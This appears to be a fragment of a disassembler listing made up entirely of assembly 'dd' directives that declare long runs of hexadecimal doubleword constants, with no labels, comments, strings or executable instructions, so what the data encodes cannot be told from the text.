		dd 213380C2h, 0F0F424E0h, 0C56F01C8h, 9F48AB50h, 62E8DB8Ah
		dd 3C008588h, 643441E5h, 0FE6B15Dh, 4BE495C4h, 6CFB5082h
		dd 0F0391C41h, 35008BFEh, 47F4FFCCh, 0FE3D9055h, 15690091h
		dd 0F7A398EBh, 0D50042DCh, 0F919C6D0h, 395C55h,	3689FD06h
		dd 7285FC2Fh, 0EF62407h, 0DFA0ACBBh, 265A55h, 0F3EC47EEh
		dd 2B56879Ah, 6B86DC02h, 8FE79478h, 0CAD32094h,	130704DEh
		dd 38B2BFh, 0EE0AE440h,	3D00B7C5h, 5DABBA02h, 1C599F75h
		dd 406C60E3h, 7DA531DEh, 780064EFh, 1F32DD6Bh, 132BD0h
		dd 0BFC3C434h, 112AEDA4h, 140A2800h, 0DA9C71DBh, 0EBBB003Dh
		dd 93BBF26h, 322C4191h,	9900986Ah, 0CD44D7A9h, 0C8C20022h
		dd 9D87FE04h, 0B6004DA0h, 0CA3E5170h, 804F64h, 0DDEFA9DFh
		dd 7D8BDFBh, 0AC00B9EAh, 691A49D6h, 2C597BCBh, 64A7C4h
		dd 848F5D3Ah, 0C0000D57h, 895F4794h, 185186h, 30289DA3h
		dd 0E37C759Ah, 0FF07807Fh, 123A7871h, 32B49F0h,	39FC76h
		dd 7EC3A411h, 48DA146h,	4A016D79h, 164FE5DBh, 123FBBABh
		dd 20AA003Ch, 6C8F72B0h, 50766F24h, 0DF0A7424h,	0A01DCA38h
		dd 0C65DC340h, 3CFE54Fh, 93B17B98h, 71FF057Ch, 204CA387h
		dd 0D00032B4h, 51DB2BD6h, 0A72A5Eh, 16476145h, 0AC4265F5h
		dd 0EADC0900h, 0DEC5119Dh, 0FBC10B10h, 3C00685Fh, 0F3F1A3D6h
		dd 8CE4BF1Dh, 8E2F5280h, 36BED9Ch, 36B0333Dh, 0F2E8CCD5h
		dd 0F0C4D3C4h, 3C08B2Ch, 900E7DE2h, 483D00ECh, 8937625Fh
		dd 93F62AA4h, 16E63400h, 0BBB6C483h, 0C106007Dh, 1761EAB1h
		dd 59002A19h, 2683B3E9h, 0B865Fh, 93E2276Bh, 0BEE4EA4Bh
		dd 0D4E6D803h, 90F604C5h, 99DCCE95h, 398F8480h,	25DCC0C9h
		dd 32766ED3h, 37635400h, 92DC8197h, 3F1C0033h, 0EA04F90Fh
		dd 0A800B3C4h, 0C749B753h, 5810857Dh, 3E004026h, 4EC3BAF8h
		dd 80546B5h, 5937813Dh,	8D958300h, 0C7AAECh, 84427D77h
		dd 7DAA01Fh, 8A2B540Fh,	0E0088FB5h, 146D87B7h, 0C3F50392h
		dd 0EAE9CB10h, 1C5EE498h, 2CFF4Ch, 0B131AEA8h, 1AFB857h
		dd 535DDB1Ah, 20E6E0CFh, 0DF02D7B4h, 93F10A76h,	4014E28Ah
		dd 2CF6F02Dh, 73891BAh
		dd 63F785AEh, 17F8E461h, 9824DFECh, 0C9002822h,	97DBF013h
		dd 331E0221h, 321FD804h, 0A893B440h, 8374E909h,	129880E1h
		dd 40F29C21h, 6D3D108Bh, 0F10780D0h, 0A90E85C3h, 94C7EAB9h
		dd 5E7F001Ch, 82983D4Dh, 9D5F323Ah, 48C290CEh, 409AC969h
		dd 0F85264A0h, 603305A0h, 803E8786h, 881423B0h,	0B8B7C103h
		dd 0FB5914Ah, 0FA0A5581h, 4211EA8Ch, 2A94FD00h,	0BAE7C2FCh
		dd 2E06CF8Eh, 1E4B4600h, 28FD26B3h, 0B5DCC0B8h,	2D68A3Ch
		dd 13C809BBh, 9881C3D2h, 7032F486h, 580BEA54h, 26363CECh
		dd 558AB24h, 64A08F61h,	0ECF4D088h, 0F7160849h,	2041A871h
		dd 0CBC69B3Ah, 0F29093h, 4DFA7D8Ch, 9601BF2Bh, 0D83BE98Ch
		dd 0F22020C4h, 0E7F61D5Ah, 0FD27009Bh, 5ADAFC6h, 122CC8F4h
		dd 0D680505Ch, 0D3777988h, 129C9469h, 7A16FEh, 0E371E2BCh
		dd 2A0C840Fh, 684E700Dh, 0E56D001Ch, 0D4A69C93h, 0A200EF34h
		dd 0B7AF042Ah, 785CA5h,	334456FBh, 0AC91E767h, 82001298h
		dd 0AEABCB46h, 99749Dh,	8C4BB71Bh, 10041FE0h, 7CC859h
		dd 294EE61Dh, 0FD5D7FBh, 0EC12D82Ch, 74C29FA1h,	64AFC847h
		dd 0CCF9C90Bh, 8CB800A8h, 1A43175h, 0A08E602Fh,	8E944A2Bh
		dd 20DA1298h, 5DD02271h, 0E06F629Bh, 0D080F79Ch, 4888363Fh
		dd 0E707FB15h, 814C8CBCh, 7A7424A7h, 2AF88F04h,	0F2ACC03Dh
		dd 9CA5E3F1h, 93225300h, 0A06B7D3Eh, 111A2A8Eh,	39200D4h
		dd 0FB47E35Fh, 3890BC33h, 4102DA18h, 546A9160h,	4FEC054h
		dd 306F0F40h, 878CB2A4h, 8EB01932h, 37EC7C4h, 1FEB0435h
		dd 0F19A9DFFh, 9A2EC740h, 0DBED7B24h, 0E062D80Fh, 34905EDAh
		dd 860800FDh, 0E6BFB0F8h, 0E501D370h, 0E816CA7Eh, 0E485CE69h
		dd 80C7C586h, 0B0CD8E4h, 790C4E58h, 88CD2D0Fh, 2C803F14h
		dd 3A059889h, 0B24518C9h, 0C7F63957h, 0C8D12E01h, 8304DA7h
		dd 7ED4F0h, 9876C164h, 615DE73Ah, 9F252A01h, 32E9F1F8h
		dd 24087824h, 8228B656h, 0E5E21A64h, 0B98588A0h, 6D00906Ah
		dd 42D93844h, 761E2A9Ch, 66F80513h, 80C82BD1h, 2562D2C0h
		dd 9CCADC02h, 402F877Fh, 4C97B10Ch, 0A2001C80h,	0B439DEA0h
		dd 0C802C1E5h, 8618AB37h, 4974492Ch, 16B0830h, 4E50F142h
		dd 0D4B1B64Fh, 0A9022B5Fh, 21DEE27Fh, 5DB4E092h, 4EDD01D7h
		dd 0C0D991ADh, 5C6074C3h, 0C1E0F500h, 0D14BACA1h, 9B1B0016h
		dd 15266BA8h, 84008690h, 38528936h, 0B3E5F0h, 3F8DD501h
		dd 3E37CDCFh, 1B06D301h, 95C8E74Eh, 26CD060h, 4A68B31Dh
		dd 414087D9h, 0AE0C6982h, 0A0B21012h, 3EC0016Ah, 5CC27F97h
		dd 2D70F466h, 9470995Ch, 7D6D0042h, 33A36BFBh, 0CA620079h
		dd 0E03A1512h, 9C00BD76h, 0A2D9181Ah, 0F48F1625h, 86F700E2h
		dd 1BCF758Eh, 2B7E5E54h, 0E88BB100h, 80C589DBh,	72DF0082h
		dd 0EBA93F65h, 0CD7E8FFBh, 729F095Ch, 37DCC800h, 79CF150Fh
		dd 9408015Ch, 0B8D2E731h, 756C70B9h, 9F831108h,	0B7208Bh
		dd 0C1E3F81Bh, 0B3B4282Bh, 0CDFA0505h, 8C03E8Ch, 0C976E4h
		dd 9B9497E0h, 4EAC4632h, 9D576600h, 0B04A369Fh,	5865014Dh
		dd 34F2AA17h, 0DD602089h, 48F9D3Ch, 7F75AEFh, 0CBE607C0h
		dd 8AA42457h, 0FCA8E8h,	417DA826h, 0AFBFDA2Eh, 0A25C7F18h
		dd 0F2531021h, 72090065h, 4738DB71h, 8700C046h,	0B7605878h
		dd 4F84F8Ah, 14051F93h,	0AE60D090h, 6D05FB19h, 973A621Dh
		dd 98F0888h, 0B506BBBh,	0E0D2F840h, 925C32FAh, 2D277C4Ch
		dd 76E40011h, 22B52Bh, 0A01E74A3h, 31480A91h, 0B6188400h
		dd 4DAED5D9h, 44B11C5Fh, 81B3C011h, 3503B908h, 8623D203h
		dd 0DB55BCDDh, 0DD87CBA3h, 62E9280h, 141A0177h,	0CB31DEB2h
		dd 0FB59D4D1h, 0EB07C098h, 0F24FA089h, 6B25A990h, 0F99F0210h
		dd 0DE2ED467h, 0F4FCB840h, 7B00C4E0h, 4676073Ah, 0F2CF20Ah
		dd 998F4F3Bh, 52417AA1h, 0FAC1D414h, 88E64450h,	7E51A01h
		dd 1F768E2Bh, 28A70h, 0BB671C6Dh, 0D1DFE821h, 80A033F9h
		dd 9FD9CD1Bh, 56501406h, 0DD0BB09Eh, 80094BE5h,	4C84D009h
		dd 41064F6Bh, 4B9FDD7Ah, 0E3131080h, 0C1C7F009h, 6959D560h
		dd 0B37B174Ch, 5AACE8h,	8402FB3Ah, 46164DF2h, 4400101Eh
		dd 0B62C7592h, 59AAF85Fh, 0A50310EDh, 3F0DC2F4h, 0A6457F98h
		dd 6E1019C1h, 6C66A32Fh, 0CC988475h, 0F8F70101h, 571B7909h
		dd 306F3434h, 0B1A12DF9h, 33585F24h, 0ADC100A8h, 455566ABh
		dd 1C1D0084h, 0E5164E4h, 0EE49C5F6h, 0D8A60C54h, 0F1AE30B9h
		dd 0EDEA4F4h, 0F360CE43h, 8EE84625h, 8D9F0564h,	888C729Ah
		dd 0BDD43F90h, 38F2E718h, 51093906h, 0F939E8Ch,	0B4E3AAF4h
		dd 6A7C8685h, 0F4CDA8C4h, 55808028h, 0FE3E2171h, 47189704h
		dd 0B8D2C379h, 0C7200E54h, 1E9DB75Eh, 0FB9B0600h, 176CEDF4h
		dd 6FE60055h, 0B61D69C5h, 0D6002063h, 0C1A75EA3h, 1276A493h
		dd 0B08E1031h, 0D8A63B5Dh, 0A050572Ah, 0B5C5D800h, 370B7DE6h
		dd 1DD0C55Bh, 0CDD0423Eh, 34C8182Eh, 249084BAh,	0CF771100h
		dd 98FAB044h, 687A00C7h, 634DBC21h, 4FF237E0h, 0C02A0200h
		dd 3B52946Fh, 16F27006h, 929314B9h, 3CE151D8h, 2421E449h
		dd 0A4B7900Ah, 69809867h, 0D866C879h, 0A9C261D1h, 71329F3Eh
		dd 1280958h, 0E03C8590h, 0D8A9EDC9h, 2042D09Dh,	0BC326902h
		dd 58E60E8Eh, 0A4F100D8h, 2D6EFDFEh, 0C10043D8h, 48C58B90h
		dd 0F85AA7DAh, 2CD70085h, 2D94D529h, 0FA0BB478h, 1626CFDh
		dd 0FB141540h, 0C5881080h, 8CDBCB3h, 0E1873E18h, 305129h
		dd 0AAF4A28Dh, 0EC696654h, 7C5FA51Bh, 55479821h, 56370031h
		dd 50B8CA77h, 9A04DFECh, 78DC7224h, 58923090h, 11F2165Ah
		dd 81FC30E1h, 4818CBA1h, 0AB29D3FCh, 3FCAEC31h,	0D9027EA9h
		dd 5CD6DB20h, 5496E0D8h, 0FD96ED81h, 53D867A6h,	4B520361h
		dd 886E8458h, 519DB000h, 0BEEB94AAh, 13E00C3h, 3B7AA521h
		dd 73604B70h, 0DF641F19h, 0BBFA0024h, 1EF44C4h,	0B53942BFh
		dd 1B8D8B1h, 0E24CC939h, 876003E3h, 9BBE0045h, 0AC426378h
		dd 0CC05595Ch, 31B21A18h, 3C58B880h, 0B4F000AEh, 6F3F3786h
		dd 260F6C0Eh, 5DCB6B2h,	0A4805BC5h, 0ECABCE54h,	0F7FC5028h
		dd 6C361C2Bh, 0F696FF9Bh, 75C097E7h, 3E9FC001h,	1B017345h
		dd 0E6F85869h, 98408FBFh, 0BC1156h, 8B614398h, 0A6135388h
		dd 2C2D9A00h, 4464719Eh, 80690696h, 1E3B74B7h, 16044C59h
		dd 9A133F7Dh, 78053C00h, 2C528AF7h, 4A08555h, 40AF7DFDh
		dd 2795DDEAh, 109F58E7h, 0E0236515h, 0A2B42E01h, 3895102Ch
		dd 0EE800A8h, 0CA6BC4EDh, 0ABCF00CCh, 9FE958E2h, 0BA0FFB21h
		dd 0E43243C3h, 0C88028ADh, 73823465h, 20092CCh,	0FD4548A2h
		dd 8C7C424h, 64EA2200h,	705A53h, 0D6F3C8CFh, 0DCFF3014h
		dd 8749F702h, 587486C2h, 41BFF0E8h, 226120C3h, 0A8B4B4B0h
		dd 85C57800h, 2EBD1250h, 0B50CA797h, 0CE0C9231h, 0C500A0D8h
		dd 0DD348356h, 12446h, 73F08F96h, 607DFA1Dh, 0F13E8A0h
		dd 5EAA4E01h, 72AEA870h, 2D153D0h, 0B75CF1F2h, 406832EDh
		dd 23F827A9h, 1C19D324h, 0DFDD8007h, 0E32E6721h, 0E824F2E9h
		dd 50B100E4h, 42CD9B7Ch, 0E1006931h, 0D8AA9897h, 7592E356h
		dd 2CE909EFh, 408FD627h, 1FF84E80h, 90B2D05Fh, 0D1D7E70Ah
		dd 5982A0C5h, 596C283Ch, 5FE384E4h, 75E4C78Dh, 507883A1h
		dd 94FAF9E2h, 309A89Ah,	0A04052CFh, 5C5AB758h, 0E5F90767h
		dd 71CA68BBh, 0C4D2D5D8h
		dd 0A1009F64h, 992F33A8h, 10DF629h, 15A275A5h, 64835247h
		dd 3AEC7D04h, 60309D04h, 74D5C8BBh, 0AB422480h,	0C47307E8h
		dd 0FDC2151h, 0E719C54h, 286059C3h, 0C0D7B7C4h,	0A7EC34CFh
		dd 9B5DCF0Bh, 96641685h, 16A36F58h, 8FAB22A4h, 27C1B288h
		dd 94DDE601h, 5FFFD4E1h, 0EFCC430h, 58A0E303h, 3882ADC1h
		dd 305021CFh, 94904DA0h, 0C8AAB0Bh, 99F031C8h, 2C06C210h
		dd 690D1201h, 5CACCB1h,	7B259C40h, 728D00E3h, 0BE560829h
		dd 0F4007080h, 865FECE1h, 91D787h, 8B97CB3Bh, 756B0A64h
		dd 795FC8F0h, 22697400h, 4C1FBF27h, 4700856Ch, 43F8F5Dh
		dd 0A6769120h, 5EF9580Ch, 0CA37291Ah, 0A8949CA8h, 108E5CF8h
		dd 0A902C33Eh, 0D393CD01h, 0E1FC5CC4h, 80960490h, 9FB42172h
		dd 0D440D03Ah, 90F30D1Fh, 70CA026Ch, 3342F621h,	9A8C4CC0h
		dd 387D2624h, 7F78681h,	11829581h, 0DCB78C29h, 0A8BA54E8h
		dd 0F3A64B03h, 0F0C9799Eh, 0E201C78Bh, 0A49A0085h, 7D5DB251h
		dd 0A002B80Eh, 0FE974C9Dh, 0CE36E0EDh, 0AD112616h, 0C3C11F54h
		dd 0ACB17530h, 0A7271000h, 0A82E5E54h, 0EA602552h, 7604B44Eh
		dd 0ED75F1F8h, 483B744Bh, 0E70911C0h, 30AD21F5h, 3C174344h
		dd 80013082h, 9D641D3Fh, 0C60FF842h, 3AB209C4h,	89806FC8h
		dd 0F79B2256h, 238BC4Ch, 51B06E0Fh, 1E845CDDh, 4FDE5D79h
		dd 9F49D426h, 0E9DF6480h, 1600FC84h, 0E1D1E472h, 812BAh
		dd 14708AB5h, 5B7EA0Ch,	0C91424FBh, 0D73A5B02h,	0C0BA9D0Dh
		dd 1043534h, 74EA08BDh,	41F7FACFh, 30E3FEACh, 0C4C4850h
		dd 80F138D7h, 0DB9C5798h, 14383AC7h, 84D4D0ACh,	86AF1C78h
		dd 7AC300FAh, 8C95F4EEh, 0AA05207Ch, 0BEF9F381h, 71A20380h
		dd 7B500B3h, 32A8CFFCh,	3E2B90Dh, 0A700CCE0h, 0F4430E31h
		dd 42FEFC7h, 0B8A3C3C4h, 0AE10F0D9h, 1800344Fh,	0E53F7CF2h
		dd 0E7160164h, 1FCC44A3h, 24C4F905h, 0B0A665A8h, 1331220h
		dd 354686B7h, 0F12CCC34h, 0DE83D823h, 6D3CEA16h, 0C13BA000h
		dd 0A53F86h, 7012644Ch,	6B1AD0D8h, 0B68CCD04h, 0FA804AA4h
		dd 4D063A93h, 8E251C5Ah, 3971D0ACh, 0DC138492h,	170CFBB9h
		dd 7A8023h, 0B7FA4280h,	79C0400Fh, 349948h, 0E5191E3h
		dd 4AEB0AE4h, 2284C8C2h, 1E30FC5Dh, 0BF4E0D31h,	7798801Eh
		dd 9724AACh, 0D3BEEE8Fh, 0AEC28C03h, 64AB8CD8h,	1EE6130Bh
		dd 0B9184019h, 5F53A88h, 44BF5C09h, 40D45827h, 79E5EF0Ch
		dd 0F5C8C200h, 0B05539A5h, 2574001Fh, 0FB4BEE53h, 6502BB47h
		dd 8C960B1Ch, 169480FEh, 7FE6DA87h, 0C901009Fh,	8BDB6FDCh
		dd 7A01EB70h, 93CF1991h, 8C8F162h, 484C6721h, 0DE11C145h
		dd 0CD91D074h, 1724A100h, 7E94E5DDh, 0F19D0423h, 0C7423E22h
		dd 6110FABFh, 0F47505FCh, 711603D8h, 5456AF39h,	20B53440h
		dd 3C226D02h, 13CEAB1h,	0E9A4D604h, 72088099h, 81004255h
		dd 0B152A59Bh, 0E0144B6Bh, 8FD0035h, 0D6164CBh,	0FEF394F7h
		dd 7920B040h, 8CC7D128h, 0D63E5Ch, 0EABAF071h, 1790AC29h
		dd 786C6EBh, 204EA005h,	0CD2A472Bh, 108BE42Fh, 0B1D1290h
		dd 87BF65E9h, 0F107EC0Eh, 0EC842B1h, 57515C68h,	14732E00h
		dd 79E69A3Dh, 0E5250158h, 7C72A9D5h, 0DD8420C6h, 6DB8CBE9h
		dd 1248960Fh, 0A8AB305Ch, 167A1E7h, 409068F5h, 2096AF9Eh
		dd 0ECB9464Ch, 6340F42Ch, 7E4AF5h, 9541CE9Ch, 5159E654h
		dd 3C044724h, 0E7D5FE40h, 0C6EF000Dh, 0D4FD40BAh, 3A0987E8h
		dd 8184E583h, 1F0D4D94h, 1E01B022h, 5E2161D7h, 0F102E4C6h
		dd 0DCA26B26h, 0C00084A8h, 34CBB1BCh, 1DACC987h, 3A4E79C5h
		dd 359C2383h, 0B8D17371h, 2F5AC08Bh, 0D11E3B30h, 440DB01Fh
		dd 50B49EA8h, 30D38980h, 0ED7B9Ch, 0C6747662h, 0FE4C8D39h
		dd 3F595100h, 8E1B231Ch, 0EE360054h, 1F27657Eh,	35015892h
		dd 0A2EF7FEDh, 0D1827D5Ah, 0E5C765F5h, 0FDACF121h, 455A470h
		dd 0EEF7E424h, 3500FE59h, 0E30CC193h, 2C1549B1h, 5FA3E00h
		dd 164A67CEh, 937FE38h,	2461CC08h, 38EC3028h, 0DD998800h
		dd 0C5D52872h, 0B9EB1D00h, 0CD200AD2h, 0E41C48BDh, 5CFF560Fh
		dd 2C00C929h, 3B1ACC31h, 91F00816h, 0A0B35409h,	803E5F2Ch
		dd 0AB450B71h, 0C06149h, 0E100579Ch, 0F86279A1h, 0BB4AC07h
		dd 0E61A151Fh, 0DB29EC60h, 6C027400h, 89EF17F4h, 1DFE005Fh
		dd 40C85425h, 0BF0026F5h, 9324AE0Dh, 0AB689Fh, 0D63A2D81h
		dd 0E91AF350h, 33E58B01h, 0DCC39DEh, 4F1C30h, 0A7E873D3h
		dd 26C58A1Eh, 2213D875h, 0A71C0A1Ah, 0F5B880FDh, 507E0F1h
		dd 57654CBDh, 2220D449h, 4C54AD00h, 5566782Ah, 0A5BF0750h
		dd 0F5F7886Fh, 8F990BCBh, 0B6308800h, 4FF22C91h, 0BA1FF82Eh
		dd 0C3C0E700h, 204F935h, 0EC3014A2h, 6640E819h,	0B8B21D7Ah
		dd 914AC4Ch, 0A0167186h, 0F5A89A80h, 68403F95h,	1459217h
		dd 2C31428Ch, 0B6602462h, 21527B00h, 3A32F081h,	0F17707C5h
		dd 0BE3D35CFh, 92D97280h, 7F003862h, 78BEC066h,	7F90433Ah
		dd 0A82A5C6Bh, 67D51D00h, 5602EFDCh, 26EEF558h,	9602C85Ch
		dd 4084D9CFh, 4C6E7919h, 777AF088h, 0C2B40992h,	888078D7h
		dd 4CE0CAF1h, 3FDCE801h, 256D3930h, 0E4F57FE9h,	242356CCh
		dd 54E9DEh, 0FD5C4B6h, 0C001719h, 8DE0E44Bh, 1A2AC33h
		dd 7E71DB18h, 2AD81483h, 4B531C00h, 87845Eh, 79B8323Eh
		dd 6E8A6450h, 0BD374500h, 0DD2B3982h, 0D91F07F5h, 10EBE063h
		dd 0FD24B15Eh, 906F48h,	9EB25DEAh, 4C93AB50h, 3F135843h
		dd 32150F25h, 0A8D07AE9h, 0F111CB1Eh, 0B68FFB40h, 27B75EFh
		dd 4A54495Ah, 0C078CC45h, 0DB0C9800h, 60AEE68Eh, 1E68008Bh
		dd 75C17DF3h, 0F1005546h, 0C8FDC286h, 9A233A9h,	430A198Fh
		dd 0A5EC1000h, 9B7A3130h, 8B1AFD00h, 50B8FC63h,	654B1Ch
		dd 5AFBB720h, 0F5754230h, 0A87BC400h, 0C6E9314Eh, 0CD990014h
		dd 0F84BC961h, 0C41DD676h, 68AEF27Eh, 5307631Ch, 0C7602F80h
		dd 0C28870h, 3AA9184Bh,	81373C89h, 8DFE4100h, 50D2DDCBh
		dd 18E4002Dh, 8621704Ch, 0DB3BD710h, 0B118372h,	0DF9437B8h
		dd 714D6E41h, 73C966E8h, 47BE1C19h, 8EEEDFFAh, 0B10E8CCFh
		dd 29BFD9C0h, 0F007F3E8h, 0CC37EB5Bh, 94CBED20h, 0B7B5283Ah
		dd 797804F0h, 1D7048Ah,	0E9AA39Bh, 26EF680h, 14A089E9h
		dd 75DEDB03h, 0C892EE07h, 4A85AE1Bh, 0BCB4D0AFh, 0B500212Eh
		dd 0E7F41FADh, 70222DBBh, 23DC2A2Fh, 0B48F10F0h, 3F4609DDh
		dd 0EB98215Bh, 9BCC0341h, 0C84460FAh, 0CF91E4DDh, 4B0098EEh
		dd 425F0777h, 918DF56h,	0F33BEA2Ah, 0ADF814E0h,	310D2Dh
		dd 7EA5D9B0h, 8214C64h,	0F5614630h, 0E0922662h,	7700B7E4h
		dd 278C1966h, 596E09Ch,	0DF65E5Ch, 797480B8h, 3700E149h
		dd 2DC36F48h, 4451B5h, 0F2642E33h, 0DFFE7FCBh, 75268273h
		dd 91003820h, 16C0EE04h, 92F5012Ch, 1E05EABFh, 70A7CFFEh
		dd 475364C3h, 0CA778100h, 8C86EB6Fh, 76C1A002h,	0DC920049h
		dd 56C3BEECh, 0DA018109h, 3F41C1B0h, 4024806Eh,	4C0D017Ch
		dd 8ED0535Dh, 23C63A0h,	6FC8DD3Ah, 0C6CCE0E6h, 0AACB025Bh
		dd 0A9D1C1C7h, 0DA147040h, 0F453DD1Fh, 170470E6h, 15099CACh
		dd 0E0FF0F3h, 0DA8BA01Dh, 16B193h, 7AC59752h, 19B309E8h
		dd 151A9B7Eh, 0C0F822AFh, 26B0DB58h, 94FD2Bh, 0CAD1E16Eh
		dd 482DF503h, 0B884B049h, 16172F85h, 0DA00197Eh, 0F043E968h
		dd 5980AF7h, 89C00E59h
		dd 0DC02CD9Bh, 0E0A0D7BBh, 6AF24E6Fh, 7893B430h, 1C6A9CCh
		dd 35417E78h, 92916630h, 4EFCE8h, 83D8695Dh, 90E7C4F0h
		dd 3C912CE3h, 7BAA50B9h, 600E04A8h, 87436C86h, 8090E5D4h
		dd 472A9F90h, 0DA239109h, 8D844006h, 24F49053h,	39B4AB18h
		dd 8881E318h, 161349C2h, 3C0045A7h, 293ADD34h, 0D0B88Bh
		dd 9EE362E0h, 52A9475Ah, 1B4D02Eh, 70FE2407h, 88C3F6D4h
		dd 519588EEh, 0F03FEF0h, 8F8664C4h, 0A436A365h,	0B00F3EA8h
		dd 60E85D60h, 0F89A9B5Eh, 0D14A0783h, 0A3635442h, 90000D6Dh
		dd 979F8C29h, 0C691BFBh, 1C18A72Ah, 352732F1h, 0B8CC6087h
		dd 3C3F4C8Ch, 10497E05h, 4D6888BBh, 183B6500h, 30CAB71Fh
		dd 0DBC904D2h, 0B4BB0301h, 8B05DCA4h, 9FB97F46h, 15984C0h
		dd 10E64223h, 0D005FE2Dh, 1695DADh, 589B2FE2h, 2CB040E2h
		dd 0DD00E625h, 0C3B31365h, 0B02674D8h, 10950980h, 245031C6h
		dd 0FDCBA12Eh, 4BAAAB01h, 5A205663h, 0E5FF0030h, 0DE51A28Bh
		dd 81956673h, 0AFE90E0Ch, 2469006Eh, 12B1C4FAh,	0DFB70C12h
		dd 84443CBCh, 985A1680h, 82FC013Bh, 0C150A79Bh,	89A76036h
		dd 0C29E4Fh, 14645C38h,	904F089Fh, 0FF4FA610h, 1D313560h
		dd 182C65CEh, 60955E56h, 9D00189Ch, 0D78D1BD1h,	0E612C999h
		dd 105A5056h, 0D1A1241Ah, 815480C0h, 694E2F75h,	156F1BE8h
		dd 82A10FA9h, 68AC6D21h, 0A527BDh, 955958D7h, 32120F74h
		dd 2BA75C00h, 9EEFB4DFh, 9082001Ah, 4ED47639h, 1B3B5F4Bh
		dd 7951E061h, 0D17275h,	0A42C9578h, 7E7CC425h, 0D00310EAh
		dd 0F7D51FB1h, 24780250h, 0B51A3E4Eh, 45705488h, 0D02D8014h
		dd 5CE9C810h, 0B9501870h, 45806D80h, 0FAEA00BBh, 96C3A833h
		dd 0A000012Fh, 0F292BC76h, 0B93412h, 808D360Fh,	4F267035h
		dd 0D7D53A09h, 0E68B007Bh, 1B3259Dh, 0C43F739Ah, 0D4D6A90Fh
		dd 34006524h, 4B5CABCCh, 3B2AF1h, 4AB748A1h, 700643ACh
		dd 0C1DA9C30h, 414BC107h, 410A1E7h, 60014578h, 0F25C10F9h
		dd 9EF254A8h, 40386C25h, 3B4E54h, 6A318395h, 16598BFDh
		dd 91B3CB02h, 0E0DF457Eh, 0A0B076A4h, 8CE308h, 42473877h
		dd 892BF058h, 21AEEA17h, 7BA03030h, 0B0009DF8h,	66D09290h
		dd 0F90B6300h, 88FD112Eh, 261006Fh, 864EBDDAh, 470094F4h
		dd 893D8D5Bh, 0B78EFE4Ch, 3B52DC07h, 930BA458h,	0E84FA7Ch
		dd 0DF0EA0AEh, 0FF29ABh, 0E75681ADh, 34AF35F3h,	0B42ED60Eh
		dd 24EC8058h, 0AA0EA3h,	9BEFFF9Eh, 347DE238h, 5780BA00h
		dd 0EA8DAB27h, 81264AD0h, 0D08AFAD0h, 70BEFF63h, 0A250F00h
		dd 30E572D6h, 0ED28D2A7h, 0AB0044C0h, 0D9D35EF3h, 2C71AA02h
		dd 0E07555h, 50DA29F5h,	0FA023B36h, 0D4E958D8h,	13C8A580h
		dd 2BC0D0E2h, 0EB7180AAh, 0F3192160h, 668F98h, 0EF40698Ch
		dd 61834AAh, 496EE904h,	0FCF0C087h, 0FE84BA38h,	5597001Bh
		dd 51D02090h, 0E0246E30h, 0B196049Ah, 0EB968C0h, 90A60031h
		dd 0F1F4AE1Fh, 2501395Ch, 0D20B76CBh, 0B0C7A4DAh, 58DBD97Ch
		dd 0F80B6AEEh, 1E879306h, 5F5E0118h, 0A66C46Bh,	3A90224Ch
		dd 73BD0210h, 769D883Bh, 96250058h, 74D4DCE8h, 0BB8CE714h
		dd 36AC009Ch, 38639103h, 26C9995h, 42A4114Eh, 90059780h
		dd 52004478h, 4303FBEh,	211273h, 2342EE79h, 5EA19917h
		dd 60ADECB4h, 3D9C6Ch, 0CD212491h, 45D2F036h, 921E37E2h
		dd 0E9407DD5h, 0A7D42DC6h, 9A762E21h, 0EC890F80h, 0D7E008A0h
		dd 3C0032E7h, 8B307EB1h, 1C640EB3h, 245FC9h, 53947191h
		dd 18F6EB32h, 5D844812h, 4472AC40h, 0C110DF97h,	0B1772E30h
		dd 61A0406Fh, 1B58B040h, 63200294h, 5C909EE0h, 95AEC728h
		dd 0E4F0B07Dh, 0D9937F01h, 8FEC0F9Fh, 219887D6h, 38FFF710h
		dd 319100C4h, 0C9F35A42h, 89601813h, 0FA9BBE68h, 0AF361E65h
		dd 0F1500079h, 4787152Bh, 0A8003590h, 0D231ED85h, 2932E48h
		dd 4C5BE856h, 107E9B40h, 5EC1E00h, 5C083FB9h, 5F3AE5C0h
		dd 0D3FBBE0Fh, 0ED37C17Dh, 2C4DC1D4h, 217700CCh, 14B21D3Dh
		dd 128D78AFh, 40353041h, 55D8FF34h, 0AA04C439h,	0DC0CF521h
		dd 22012CF9h, 3ED9B3B6h, 2E6428BAh, 5A00F357h, 72D2886Eh
		dd 5E090060h, 440AE4E0h, 0C84E3B35h, 0B95A94C0h, 7D910058h
		dd 0F13E387Ch, 0E202EFADh, 0BB025CFBh, 9574E81Dh, 0DED109E4h
		dd 0A42039EAh, 646EC903h, 988149h, 0BCED48EFh, 0A0D6681Eh
		dd 7F94CAC4h, 9DD92A8Eh, 0FAF400ECh, 5E2E4456h,	0EEF88DFBh
		dd 20126800h, 1FF15223h, 0D92802CFh, 4B3EC8D0h,	0ED17F4C1h
		dd 6A007064h, 67001AE2h, 0B0D1230Bh, 12A71E0Dh,	0B46FB4D8h
		dd 620BEEB4h, 0DA721A18h, 900E00ECh, 4157FAA1h,	0D7000532h
		dd 0C3C07920h, 51CA092h, 8937B173h, 82E85C90h, 50C0D7EBh
		dd 21B094DCh, 31C19E3Fh, 2811D1BBh, 0B717ECAEh,	9916400h
		dd 0A8DFD949h, 4C8C1DF5h, 0FCFF009Eh, 0CC1180D3h, 1E9DD03Ch
		dd 0E140866Ch, 0F01ABBCEh, 5A9A7601h, 42CC41DCh, 7BF6C3BFh
		dd 0F8A37040h, 4B4654h,	63D6BEFh, 4F607CE6h, 3FC200Ch
		dd 6F3043h, 0EBE1ADB3h,	147D8936h, 71CFC930h, 7EC3D283h
		dd 406A079Eh, 0BBDA2D6Dh, 593ECA40h, 0D7D29D00h, 0EBBABCD6h
		dd 4F6C9A7Fh, 0ADFC88E6h, 8B0B050h, 0C532EF01h,	0A5A3158Ch
		dd 4000C07Dh, 0BC338327h, 0AA004B99h, 9CCA98D8h, 1DFE4642h
		dd 407CA325h, 0AC5D4B9h, 2C079AE7h, 0AE49C7F7h,	9E898F2Eh
		dd 0F6195BC0h, 982BC1E1h, 57033C90h, 420D2C00h,	4C877EB4h
		dd 92004C98h, 0B97D7A3Ch, 5FF1F519h, 0BBA48131h, 83D50089h
		dd 38D14922h, 3E52AD0Eh, 0B01380DFh, 0F8110DA0h, 0C90100B4h
		dd 0A1FFD48Bh, 7304006Dh, 0C0AF3D66h, 0AAC61F50h, 0D308100h
